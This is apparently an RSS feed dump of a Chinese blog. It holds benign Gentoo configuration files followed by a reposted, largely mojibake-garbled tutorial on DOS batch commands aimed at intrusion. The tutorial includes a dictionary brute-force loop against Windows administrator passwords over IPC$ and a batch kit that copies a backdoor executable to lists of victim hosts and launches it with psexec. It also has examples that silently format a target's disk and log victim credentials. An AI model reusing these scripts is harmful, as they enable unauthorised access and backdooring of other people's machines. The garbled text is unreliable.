??xml version="1.0" encoding="utf-8" standalone="yes"?>精品国产一区二区三区久久久樱花 ,精品视频在线观看日韩,国产一区二区91http://www.aygfsteel.com/Alpha/articles/354887.htmlAlphaAlphaSat, 23 Jul 2011 01:36:00 GMThttp://www.aygfsteel.com/Alpha/articles/354887.htmlhttp://www.aygfsteel.com/Alpha/comments/354887.htmlhttp://www.aygfsteel.com/Alpha/articles/354887.html#Feedback0http://www.aygfsteel.com/Alpha/comments/commentRss/354887.htmlhttp://www.aygfsteel.com/Alpha/services/trackbacks/354887.htmlen_US ISO-8859-1
en_US
.UTF-8 UTF-8
zh_CN UTF
-8
zh_CN
.UTF-8 UTF-8
zh_CN
.GBK GBK
zh_CN
.GB2312 GB2312
zh_CN
.GB18030 GB18030


Alpha 2011-07-23 09:36 发表评论
]]>
gentoo/etc/make.confhttp://www.aygfsteel.com/Alpha/articles/354886.htmlAlphaAlphaSat, 23 Jul 2011 01:16:00 GMThttp://www.aygfsteel.com/Alpha/articles/354886.htmlhttp://www.aygfsteel.com/Alpha/comments/354886.htmlhttp://www.aygfsteel.com/Alpha/articles/354886.html#Feedback0http://www.aygfsteel.com/Alpha/comments/commentRss/354886.htmlhttp://www.aygfsteel.com/Alpha/services/trackbacks/354886.html|上
CFLAGS="-march=native -O3 -pipe -fomit-frame-pointer -mmmx -msse -msse2"
CXXFLAGS
="${CFLAGS}"
MAKEOPTS
="-j5"
CHOST
="x86_64-pc-linux-gnu"
USE="jpeg ssl nls unicode cjk zh nptl nptlonly mmx sse sse2 -X -gtk -gnome \
     sasl maildir imap libwww mysql xml sockets vhosts snmp \
     -lvm -lvm1 -kde -qt -cups -alsa -apache
"
ACCEPT_KEYWORDS
="~amd64"
LINGUAS
="zh_CN"
SYNC
="rsync://rsync.asia.gentoo.org/gentoo-portage"
GENTOO_MIRRORS
="http://mirrors.163.com/gentoo ftp://gg3.net/pub/linux/gentoo"




Alpha 2011-07-23 09:16 发表评论
]]>
gentoo package.usehttp://www.aygfsteel.com/Alpha/articles/353792.htmlAlphaAlphaWed, 06 Jul 2011 06:54:00 GMThttp://www.aygfsteel.com/Alpha/articles/353792.htmlhttp://www.aygfsteel.com/Alpha/comments/353792.htmlhttp://www.aygfsteel.com/Alpha/articles/353792.html#Feedback0http://www.aygfsteel.com/Alpha/comments/commentRss/353792.htmlhttp://www.aygfsteel.com/Alpha/services/trackbacks/353792.htmlwww-servers/lighttpd fastcgi memcache php mysql
sys
-devel/gcc -fortran
dev
-lang/php json cgi curl ctype ftp gd hash imap mhash mysql mysqli pdo simplexml truetype xml xmlreader xmlwriter xsl zip sockets
media
-libs/gd fontconfig jpeg png truetype
dev
-php5/jpgraph truetype
media
-gfx/imagemagick jpeg jpeg2k png svg tiff xml
dev
-vcs/subversion -berkdb
net
-misc/curl gnutls
net
-libs/courier-authlib mysql
mail
-client/roundcube -sqlite
app
-emulation/qemu-kvm png vde vhost-net threads
net
-dns/bind resolvconf threads


net 上的package.use

mail-mta/postfix mysql sasl
www
-servers/lighttpd fastcgi memcache php mysql
sys
-devel/gcc -fortran
dev
-lang/php json cgi curl ctype ftp gd hash imap mhash mysql mysqli pdo simplexml truetype xml xmlreader xmlwriter xsl zip sockets
www
-apps/phprojekt mysql vhosts
media
-libs/gd fontconfig jpeg png truetype
dev
-php5/jpgraph truetype
www
-apps/mediawiki imagemagick mysql
media
-gfx/imagemagick jpeg jpeg2k png svg tiff xml
dev
-vcs/subversion -berkdb
www
-apps/bugzilla mysql
net
-misc/curl gnutls
net
-libs/courier-authlib mysql
mail
-client/roundcube -sqlite


安装lighttpd Ҏ(gu)

emerge dev-lang/php lighttpd




Alpha 2011-07-06 14:54 发表评论
]]>
dos批处理命令详?/title><link>http://www.aygfsteel.com/Alpha/articles/134631.html</link><dc:creator>Alpha</dc:creator><author>Alpha</author><pubDate>Mon, 06 Aug 2007 02:41:00 GMT</pubDate><guid>http://www.aygfsteel.com/Alpha/articles/134631.html</guid><wfw:comment>http://www.aygfsteel.com/Alpha/comments/134631.html</wfw:comment><comments>http://www.aygfsteel.com/Alpha/articles/134631.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/Alpha/comments/commentRss/134631.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/Alpha/services/trackbacks/134631.html</trackback:ping><description><![CDATA[<table class=border cellSpacing=0 cellPadding=0 width="100%" border=0> <tbody> <tr vAlign=center align=middle> <td colSpan=2 height=50><font face=楷体_GB2312 color=#000080 size=4><strong>dos批处理命令详?/strong></font></td> </tr> <tr class=tdbg_rightall> <td style="BORDER-BOTTOM: #000000 1px solid" colSpan=2> <div align=center>QM者:(x)佚名  转脓(chung)自:(x)Internet  点击敎ͼ(x)17782  更新旉Q?005-12-29  文章录入QonegreenQ?/div> </td> </tr> <tr> <td style="PADDING-BOTTOM: 20px; PADDING-TOP: 20px" colSpan=2> <table cellSpacing=5 cellPadding=0 width=560 align=center border=0> <tbody> <tr> <td vAlign=top height=200> <table cellSpacing=5 cellPadding=5 align=right border=0> <tbody> <tr> <td vAlign=top align=right> <p align=right></p> </td> </tr> </tbody> </table> <div id="wmqeeuq" class=textbox-content> <p><font face=q圆><strong>一.单批处理内部命o(h)?/strong> </font></p> <p><font face=q圆>1.Echo 命o(h)<br> <br>打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o(h)显C当前回显设|?</font></p> <p><font face=q圆>语法:<br> <br>echo [{on│off}] [message] <br>SampleQ@echo off / echo hello world </font></p> <p><font face=q圆>在实际应用中我们?x)把q条命o(h)和重定向W号Q也UCؓ(f)道W号Q一般用> >> ^Q结合来实现输入一些命</font></p> <p><font face=q圆>令到特定格式的文件中.q将在以后的例子中体现出来?</font></p> <p><font face=q圆>2.@ 命o(h) </font></p> <p><font face=q圆>表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C?/font></p> <p><font face=q圆>用的命o(h)啦?br> <br>SampleQ@echo off <br>@echo Now initializing the program,please wait a minite... <br>@format X: /q/u/autoset (format q个命o(h)是不可以使用/yq个参数的,可喜的是微Y留了个autosetq?/font></p> <p><font face=q圆>个参数给我们Q效果和/y是一L(fng)? </font></p> <p><font face=q圆>3.Goto 命o(h)<br> <br>指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o(h)?</font></p> <p><font face=q圆>语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。) <br>SampleQ?<br>if {%1}=={} goto noparms <br>if {%2}=={} goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面?x)有详细的解释。) <br>@Rem check parameters if null show usage <br>:noparms <br>echo Usage: monitor.bat ServerIP PortNumber <br>goto end </font></p> <p><font face=q圆>标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:(x)用来表示q个字母是标{,goto命o(h)</font></p> <p><font face=q圆>是Ҏ(gu)q个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才?x)理解你的意囑֕?</font></p> <p><font face=q圆>4.Rem 命o(h) </font></p> <p><font face=q圆>注释命o(h)Q在C语言中相当与/*--------*/,它ƈ不会(x)被执行,只是起一个注释的作用Q便于别人阅d?/font></p> <p><font face=q圆>自己日后修改?br> <br>Rem Message <br>SampleQ@Rem Here is the description. </font></p> <p><font face=q圆>5.Pause 命o(h) </font></p> <p><font face=q圆>q行 Pause 命o(h)Ӟ显CZ面的消息Q?<br>Press any key to continue . . . </font></p> <p><font face=q圆>SampleQ?<br>@echo off <br>:begin <br>copy a:*.* dQ\back <br>echo Please put a new disk into driver A <br>pause <br>goto begin </font></p> <p><font face=q圆>在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示(zhn)将另一张磁盘放?/font></p> <p><font face=q圆>驱动?A Ӟpause 命o(h)?x)ɽE序挂vQ以便?zhn)更换盘Q然后按L键l处理?</font></p> <p><font face=q圆>6.Call 命o(h) </font></p> <p><font face=q圆>从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o(h)接受用作调用目标的标{?/font></p> <p><font face=q圆>。如果在脚本或批处理文g外?CallQ它?yu)不会(x)在命o(h)行v作用?br> <br>语法: <br>call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] </font></p> <p><font face=q圆>参数: <br>[Drive:}[Path] FileName </font></p> <p><font face=q圆>指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?</font></p> <p><font face=q圆>7.start 命o(h) </font></p> <p><font face=q圆>调用外部E序Q所有的DOS命o(h)和命令行E序都可以由start命o(h)来调用?<br>常用参数Q?<br>MIN 开始时H口最化 <br>SEPARATE 在分开的空间内开?16 ?Windows E序 <br>HIGH ?HIGH 优先U类别开始应用程?<br>REALTIME ?REALTIME 优先U类别开始应用程?<br>WAIT 启动应用E序q等候它l束 <br>parameters q些Z送到命o(h)/E序的参?</font></p> <p><font face=q圆>执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE不等应用E序l止p回命令提C。如果在命o(h)脚本</font></p> <p><font face=q圆>内执行,该新行ؓ(f)则不?x)发生?br> <br>8.choice 命o(h) </font></p> <p><font face=q圆>choice 使用此命令可以让用户输入一个字W,从而运行不同的命o(h)。用时应该?c:参数Qc:后应写提</font></p> <p><font face=q圆>C可输入的字W,之间无空根{它的返回码?234...... </font></p> <p><font face=q圆>? choice /c:dme defrag,mem,end </font></p> <p><font face=q圆>显C?<br>defrag,mem,end[D,M,E]? </font></p> <p><font face=q圆>SampleQ?<br>Sample.bat的内容如? </font></p> <p><font face=q圆>@echo off <br>choice /c:dme defrag,mem,end <br>if errorlevel 3 goto defrag Q应先判断数值最高的错误码) <br>if errorlevel 2 goto mem <br>if errotlevel 1 goto end </font></p> <p><font face=q圆>:defrag <br>c:\dos\defrag <br>goto end <br>:mem <br>mem <br>goto end <br>:end <br>echo good bye </font></p> <p><font face=q圆>此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行</font></p> <p><font face=q圆>标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最?/font></p> <p><font face=q圆>都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?</font></p> <p><font face=q圆>9.If 命o(h) </font></p> <p><font face=q圆>if 表示判断是否符合规定的条gQ从而决定执行不同的命o(h)?</font></p> <p><font face=q圆>有三U格? </font></p> <p><font face=q圆>1)、if "参数" == "字符?  待执行的命o(h) <br>参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P </font></p> <p><font face=q圆>如if "%1"=="a" format a: <br>if {%1}=={} goto noparms <br>if {%2}=={} goto noparms </font></p> <p><font face=q圆>2)、if exist 文g名  待执行的命o(h) <br>如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br> <br>如if exist config.sys edit config.sys </font></p> <p><font face=q圆>3)、if errorlevel / if not errorlevel 数字  待执行的命o(h) <br>如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br> <br>如if errorlevel 2 goto x2  <br> <br>DOSE序q行旉?x)返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???</font></p> <p><font face=q圆>10.for 命o(h)<br> <br>for 命o(h)是一个比较复杂的命o(h)Q主要用于参数在指定的范围内循环执行命o(h)?<br>在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable </font></p> <p><font face=q圆>for {%variable?%variable} in (set) do command [ CommandLineOptions] <br>%variable 指定一个单一字母可替换的参数?<br>(set) 指定一个或一l文件。可以用通配W?<br>command 指定Ҏ(gu)个文件执行的命o(h)?<br>command-parameters 为特定命令指定参数或命o(h)行开兟?</font></p> <p><font face=q圆>在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable <br>而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I </font></p> <p><font face=q圆>如果命o(h)扩展名被启用Q下列额外的 FOR 命o(h)格式?x)受到支? <br>FOR /D %variable IN (set) DO command [command-parameters] </font></p> <p><font face=q圆>如果集中包含通配W,则指定与目录名匹配,而不与文件名匚w?</font></p> <p><font face=q圆>FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] </font></p> <p><font face=q圆>查以 [drive:]path 为根的目录树(wi)Q指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则?/font></p> <p><font face=q圆>当前目录。如果集仅ؓ(f)一个单?.)字符Q则枚D该目录树(wi)?</font></p> <p><font face=q圆>FOR /L %variable IN (start,step,end) DO command [command-parameters] </font></p> <p><font face=q圆>该集表示以增量Ş式从开始到l束的一个数字序列?<br>因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?<br>序列 (5 4 3 2 1)?</font></p> <p><font face=q圆>FOR /F ["options"] %variable IN (file-set) DO command <br>FOR /F ["options"] %variable IN ("string") DO command <br>FOR /F ["options"] %variable IN ('command') DO command </font></p> <p><font face=q圆>或者,如果?usebackq 选项: </font></p> <p><font face=q圆>FOR /F ["options"] %variable IN (file-set) DO command <br>FOR /F ["options"] %variable IN ("string") DO command <br>FOR /F ["options"] %variable IN ('command') DO command </font></p> <p><font face=q圆>filenameset Z个或多个文g名。l到 filenameset 中的下一个文件之前,每䆾文g都已被打开、读</font></p> <p><font face=q圆>取ƈl过处理?<br>处理包括d文gQ将其分成一行行的文字,然后每行解析成零或更多的符受然后用已找到的W号?/font></p> <p><font face=q圆>W串变量D?For 循环。以默认方式Q?F 通过每个文g的每一行中分开的第一个空白符受蟩q空?/font></p> <p><font face=q圆>行。?zhn)可通过指定可?"options" 参数替代默认解析操作。这个带引号的字W串包括一个或多个指定不同</font></p> <p><font face=q圆>解析选项的关键字。这些关键字? </font></p> <p><font face=q圆>eol=c - 指一个行注释字符的结?׃? <br>skip=n - 指在文g开始时忽略的行数?<br>delims=xxx - 指分隔符集。这个替换了I格和蟩格键的默认分隔符集?<br>tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代?for 本n。这?x)导致额外变量名U的 <br>格式Z个范围。通过 nth W号指定 m W号字符串中的最后一个字W星P那么额外的变量将在最后一</font></p> <p><font face=q圆>个符可析之分配q接受行的保留文本?<br>usebackq - 指定新语法已在下cL况中使用: <br>在作为命令执行一个后引号的字W串q且引号字符为文字字W串命o(h)q允许在 file-set中用双引号扩v</font></p> <p><font face=q圆>文g名称?</font></p> <p><font face=q圆>sample1: <br>FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command </font></p> <p><font face=q圆>?x)分?myfile.txt 中的每一行,忽略以分h头的那些行,每行中的第二个和第三个W号传递给 for </font></p> <p><font face=q圆>E序体;用逗号??I格定界W号。请注意Q这?for E序体的语句引用 %i 来取得第二个W号Q引?</font></p> <p><font face=q圆>%j 来取得第三个W号Q引?%k来取得第三个W号后的所有剩余符受对于带有空格的文g名,(zhn)需要用</font></p> <p><font face=q圆>双引号将文g名括h。ؓ(f)了用q种方式来用双引号Q?zhn)q需要?usebackq 选项Q否则,双引号会(x)</font></p> <p><font face=q圆>被理解成是用作定义某个要分析的字W串的?</font></p> <p><font face=q圆>%i 专门?for 语句中得到说明,%j ?%k 是通过tokens= 选项专门得到说明的。?zhn)可以通过 tokens= </font></p> <p><font face=q圆>一行指定最?26 个符P只要不试图说明一个高于字?'z' ?Z' 的变量。请CQFOR 变量是单一?/font></p> <p><font face=q圆>母、分大小写和全局的;同时不能?52 个以上都在用中?</font></p> <p><font face=q圆>(zhn)还可以在相dW串上?FOR /F 分析逻辑Q方法是Q用单引号将括号之间?filenameset 括v来?/font></p> <p><font face=q圆>q样Q该字符串会(x)被当作一个文件中的一个单一输入行?</font></p> <p><font face=q圆>最后,(zhn)可以用 FOR /F 命o(h)来分析命令的输出。方法是Q将括号之间?filenameset 变成一个反括字W?/font></p> <p><font face=q圆>丌Ӏ该字符串会(x)被当作命令行Q传递到一个子 CMD.EXEQ其输出?x)被抓进内存Qƈ被当作文件分析。因?/font></p> <p><font face=q圆>Q以下例? </font></p> <p><font face=q圆>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i </font></p> <p><font face=q圆>?x)枚丑ֽ前环境中的环境变量名U?</font></p> <p><font face=q圆>另外QFOR 变量参照的替换已被增强。?zhn)现在可以使用下列选项语法: </font></p> <p><font face=q圆>~I - 删除M引号(")Q扩?%I <br>%~fI - ?%I 扩充C个完全合格的路径?<br>%~dI - 仅将 %I 扩充C个驱动器?<br>%~pI - 仅将 %I 扩充C个\?<br>%~nI - 仅将 %I 扩充C个文件名 <br>%~xI - 仅将 %I 扩充C个文件扩展名 <br>%~sI - 扩充的\径只含有短名 <br>%~aI - ?%I 扩充到文件的文g属?<br>%~tI - ?%I 扩充到文件的日期/旉 <br>%~zI - ?%I 扩充到文件的大小 <br>%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个完全合格的名称。如果环境变</font></p> <p><font face=q圆>量未被定义,或者没有找到文Ӟ此组合键?x)扩充空字符?</font></p> <p><font face=q圆>可以l合修饰W来得到多重l果: </font></p> <p><font face=q圆>%~dpI - 仅将 %I 扩充C个驱动器号和路径 <br>%~nxI - 仅将 %I 扩充C个文件名和扩展名 <br>%~fsI - 仅将 %I 扩充C个带有短名的完整路径?<br>%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个驱动器号和路径?<br>%~ftzaI - ?%I 扩充到类D出线路的 DIR </font></p> <p><font face=q圆>在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法用一个有效的 FOR 变量名终止。选取cM </font></p> <p><font face=q圆>%I 的大写变量名比较易读Q而且避免与不分大写的组合键h?</font></p> <p><font face=q圆>以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o(h)在入侵中的用途?</font></p> <p><font face=q圆>sample2Q?</font></p> <p><font face=q圆>利用For命o(h)来实现对一台目标Win2kL的暴力密码破解?br> <br>我们用net use </font><a href="file://ip/ipc$"><font face=q圆 color=#000000><u>\\ip\ipc$</u></font></a><font face=q圆> "password" /u:"administrator"来尝试这和目标主行连接,当成功时C</font></p> <p><font face=q圆>密码?<br>最主要的命令是一条:(x)for /f i% in (dict.txt) do net use </font><a href="file://ip/ipc$"><font face=q圆 color=#000000><u>\\ip\ipc$</u></font></a><font face=q圆> "i%" /u:"administrator" <br>用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o(h)来连接。然后将E序q行l果传递给</font></p> <p><font face=q圆>find命o(h)Q- <br>for /f i%% in (dict.txt) do net use </font><a href="file://ip/ipc$"><font face=q圆 color=#000000><u>\\ip\ipc$</u></font></a><font face=q圆> "i%%" /u:"administrator"│find ":命o(h)成功?/font></p> <p><font face=q圆>?>>D:\ok.txt Q这样就ko了?</font></p> <p><font face=q圆>sample3Q?</font></p> <p><font face=q圆>你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会(x)</font></p> <p><font face=q圆>变得很郁P(x)Q。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵?/font></p> <p><font face=q圆>Q看下去你就?x)明白了?/font></p> <p><font face=q圆>主要命o(h)也只有一条:(x)Q在批处理文件中使用 FOR 命o(h)Ӟ指定变量使用 %%variableQ?<br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k <br>tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数</font></p> <p><font face=q圆>%i %j %k?<br>而cultivate.bat无非是用net use命o(h)来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回?/font></p> <p><font face=q圆>QIf errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?<br>delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容</font></p> <p><font face=q圆>是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?/font></p> <p><br><font face=q圆>代码雏ŞQ?<br>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------</font></p> <p><font face=q圆>------ <br>@echo off <br>@if "%1"=="" goto usage <br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k <br>@goto end <br>:usage <br>@echo run this batch in dos modle.or just double-click it. <br>:end <br>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------</font></p> <p><font face=q圆>------ </font></p> <p><br><font face=q圆>------------------- cut here then save as a batchfile(I call it door.bat) ------------------</font></p> <p><font face=q圆>----------- <br>@net use </font><a href="file://%251/ipc$"><font face=q圆 color=#000000><u>\\%1\ipc$</u></font></a><font face=q圆> %3 /u:"%2" <br>@if errorlevel 1 goto failed <br>@echo Trying to establish the IPC$ connection ............OK <br>@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 </font></p> <p><font face=q圆>>>ko.txt <br>@psexec </font><a href="file://%251/"><font face=q圆 color=#000000><u>\\%1</u></font></a><font face=q圆> c:\winnt\system32\windrv32.exe <br>@psexec </font><a href="file://%251/"><font face=q圆 color=#000000><u>\\%1</u></font></a><font face=q圆> net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt <br>:failed <br>@echo Sorry can not connected to the victim. <br>----------------- cut here then save as a batchfile(I call it door.bat) --------------------</font></p> <p><font face=q圆>------------ </font></p> <p><font face=q圆>q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一</font></p> <p><font face=q圆>目录?批处理内?<br>可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功</font></p> <p><font face=q圆>?蠕虫).此处不多做叙q?有兴的朋友可自行研I? </font></p> <p><br><font face=q圆><strong>?如何在批处理文g中用参?/strong> </font></p> <p><font face=q圆>批处理中可以使用参数Q一般从1%?9%q九(ji)个,当有多个参数旉要用shift来移动,q种情况q不多见</font></p> <p><font face=q圆>Q我们就不考虑它了?br> <br>sample1Qfomat.bat </font></p> <p><font face=q圆>@echo off <br>if "%1"=="a" format a: <br>:format <br>@format a:/q/u/auotset <br>@echo please insert another disk to driver A. <br>@pause <br>@goto fomat <br>q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇?/font></p> <p><font face=q圆>了?</font></p> <p><font face=q圆>sample2Q?</font></p> <p><font face=q圆>当我们要建立一个IPC$q接地时候总要输入一大串命o(h)Q弄不好打错了Q所以我们不如把一些固定命?/font></p> <p><font face=q圆>写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o(h)</font></p> <p><font face=q圆>了?<br>@echo off <br>@net use </font><a href="file://1%25/ipc$"><font face=q圆 color=#000000><u>\\1%\ipc$</u></font></a><font face=q圆> "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?<br>@if errorlevel 1 echo connection failed <br>怎么?使用参数q是比较单的吧?你这么帅一定学?x)?No.3 </font></p> <p><br><font face=q圆><strong>?如何使用l合命o(h)(Compound Command)</strong> </font></p> <p><font face=q圆>1.& </font></p> <p><font face=q圆>UsageQ第一条命?& W二条命?[& W三条命?..] </font></p> <p><font face=q圆>用这U方法可以同时执行多条命令,而不命令是否执行成?</font></p> <p><font face=q圆>SampleQ?<br>C:\>dir z: & dir c:\Ex4rch <br>The system cannot find the path specified. <br>Volume in drive C has no label. <br>Volume Serial Number is 0078-59FB </font></p> <p><font face=q圆>Directory of c:\Ex4rch </font></p> <p><font face=q圆>2002-05-14 23:51 . <br>2002-05-14 23:51 .. <br>2002-05-14 23:51 14 sometips.gif </font></p> <p><font face=q圆>2.&& <br>UsageQ第一条命?&& W二条命?[&& W三条命?..] </font></p> <p><font face=q圆>用这U方法可以同时执行多条命令,当碰到执行出错的命o(h)后将不执行后面的命o(h)Q如果一直没有出错则</font></p> <p><font face=q圆>一直执行完所有命令; </font></p> <p><font face=q圆>SampleQ?<br>C:\>dir z: && dir c:\Ex4rch <br>The system cannot find the path specified. </font></p> <p><font face=q圆>C:\>dir c:\Ex4rch && dir z: <br>Volume in drive C has no label. <br>Volume Serial Number is 0078-59FB </font></p> <p><font face=q圆>Directory of c:\Ex4rch </font></p> <p><font face=q圆>2002-05-14 23:55 . <br>2002-05-14 23:55 .. <br>2002-05-14 23:55 14 sometips.gif <br>1 File(s) 14 bytes <br>2 Dir(s) 768,671,744 bytes free <br>The system cannot find the path specified. </font></p> <p><font face=q圆>在做备䆾的时候可能会(x)用到q种命o(h)?x)比较简单,如:(x) <br>dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb </font></p> <p><font face=q圆>E:\backup <br>如果q程服务器上存在backup.mdb文gQ就执行copy命o(h)Q若不存在该文g则不执行copy命o(h)。这U用?/font></p> <p><font face=q圆>可以替换IF exist?</font></p> <p><font face=q圆>3.││ </font></p> <p><font face=q圆>UsageQ第一条命?││ W二条命?[││ W三条命?..] </font></p> <p><font face=q圆>用这U方法可以同时执行多条命令,当碰到执行正的命o(h)后将不执行后面的命o(h)Q如果没有出现正的</font></p> <p><font face=q圆>命o(h)则一直执行完所有命令; </font></p> <p><font face=q圆>SampleQ?<br>C:\Ex4rch>dir sometips.gif ││ del sometips.gif <br>Volume in drive C has no label. <br>Volume Serial Number is 0078-59FB </font></p> <p><font face=q圆>Directory of C:\Ex4rch </font></p> <p><font face=q圆>2002-05-14 23:55 14 sometips.gif <br>1 File(s) 14 bytes <br>0 Dir(s) 768,696,320 bytes free </font></p> <p><font face=q圆>l合命o(h)使用的例子:(x)<br> <br>sampleQ?<br>@copy trojan.exe </font><a href="file://%251/admin$/system32"><font face=q圆 color=#000000><u>\\%1\admin$\system32</u></font></a><font face=q圆> && if not errorlevel 1 echo IP %1 USER %2 PASS %3 </font></p> <p><font face=q圆>>>victim.txt </font></p> <p><br><font face=q圆><strong>四、管道命令的使用</strong> </font></p> <p><font face=q圆>1.?命o(h) <br>UsageQ第一条命??W二条命?[?W三条命?..] <br>第一条命令的l果作ؓ(f)W二条命令的参数来用,记得在unix中这U方式很常见?</font></p> <p><font face=q圆>sampleQ?<br>time /t>>D:\IP.log <br>netstat -n -p tcp│find ":3389">>D:\IP.log <br>start Explorer </font></p> <p><font face=q圆>看出来了么?用于l端服务允许我们为用戯定义起始的程序,来实现让用户q行下面q个batQ以获得?/font></p> <p><font face=q圆>录用L(fng)IP?</font></p> <p><font face=q圆>2.>?gt;>输出重定向命?<br>一条命令或某个E序输出l果的重定向到特定文件中, > ?>>的区别在于,>?x)清除调原有文g中的?/font></p> <p><font face=q圆>容后写入指定文gQ?gt;>只会(x)q加内容到指定文件中Q而不?x)改动其中的内容?</font></p> <p><font face=q圆>sample1Q?<br>echo hello world>c:\hello.txt (stupid example?) </font></p> <p><font face=q圆>sample2: <br>时下DLL木马盛行Q我们知道system32是个捉迷藏的好地方,许多木马都削了脑袋往那里钻,DLL马也?/font></p> <p><font face=q圆>例外Q针对这一Ҏ(gu)们可以在安装好系l和必要的应用程序后Q对该目录下的EXE和DLL文g作一个记录:(x) <br>q行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, <br>q样所有的EXE和DLL文g的名U都被分别记录到exeback.txt和dllback.txt? <br>日后如发现异怽用传l的Ҏ(gu)查不出问题时,则要考虑是不是系l中已经潜入DLL木马? <br>q时我们用同L(fng)命o(h)system32下的EXE和DLL文g记录到另外的exeback1.txt和dllback1.txt?然后q?/font></p> <p><font face=q圆>? <br>CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命o(h)?/font></p> <p><font face=q圆>较前后两ơ的DLL和EXE文g,q将l果输入到diff.txt?,q样我们p发现一些多出来的DLL和EXE文g,</font></p> <p><font face=q圆>然后通过查看创徏旉、版本、是否经q压~等p够比较容易地判断出是不是已经被DLL木马光顾了。没</font></p> <p><font face=q圆>有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll后门DLL文g注销?再把它移?/font></p> <p><font face=q圆>回收站里Q若pȝ没有异常反映再将之彻底删除或者提交给杀毒Y件公司?</font></p> <p><font face=q圆>3.< ?gt;& ?lt;& <br>< 从文件中而不是从键盘中读入命令输入?<br>>& 一个句柄的输出写入到另一个句柄的输入中?<br><& 从一个句柄读取输入ƈ其写入到另一个句柄输Z?<br>q些q不常用Q也׃多做介绍?</font></p> <p><font face=q圆></font> </p> <p><font face=q圆><strong>?如何用批处理文g来操作注册表</strong> </font></p> <p><font face=q圆>在入侵过E中l常回操作注册表的特定的键值来实现一定的目的Q例?Z辑ֈ隐藏后门、木马程序而删</font></p> <p><font face=q圆>除Run下残余的键倹{或者创Z个服务用以加载后门。当然我们也?x)修?gu)册表来加固系l或者改变系l?/font></p> <p><font face=q圆>的某个属性,q些都需要我们对注册表操作有一定的了解。下面我们就先学?fn)一下如何?REG文g来操</font></p> <p><font face=q圆>作注册表.(我们可以用批处理来生成一个REG文g) <br>关于注册表的操作Q常见的是创建、修攏V删除?/font></p> <p><font face=q圆>1.创徏 <br>创徏分ؓ(f)两种Q一U是创徏子项(Subkey) </font></p> <p><font face=q圆>我们创徏一个文Ӟ内容如下Q?</font></p> <p><font face=q圆>Windows Registry Editor Version 5.00 </font></p> <p><font face=q圆>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] </font></p> <p><font face=q圆>然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创Z一个名字ؓ(f)"hacker"的子</font></p> <p><font face=q圆>V?</font></p> <p><font face=q圆>另一U是创徏一个项目名U?</font></p> <p><font 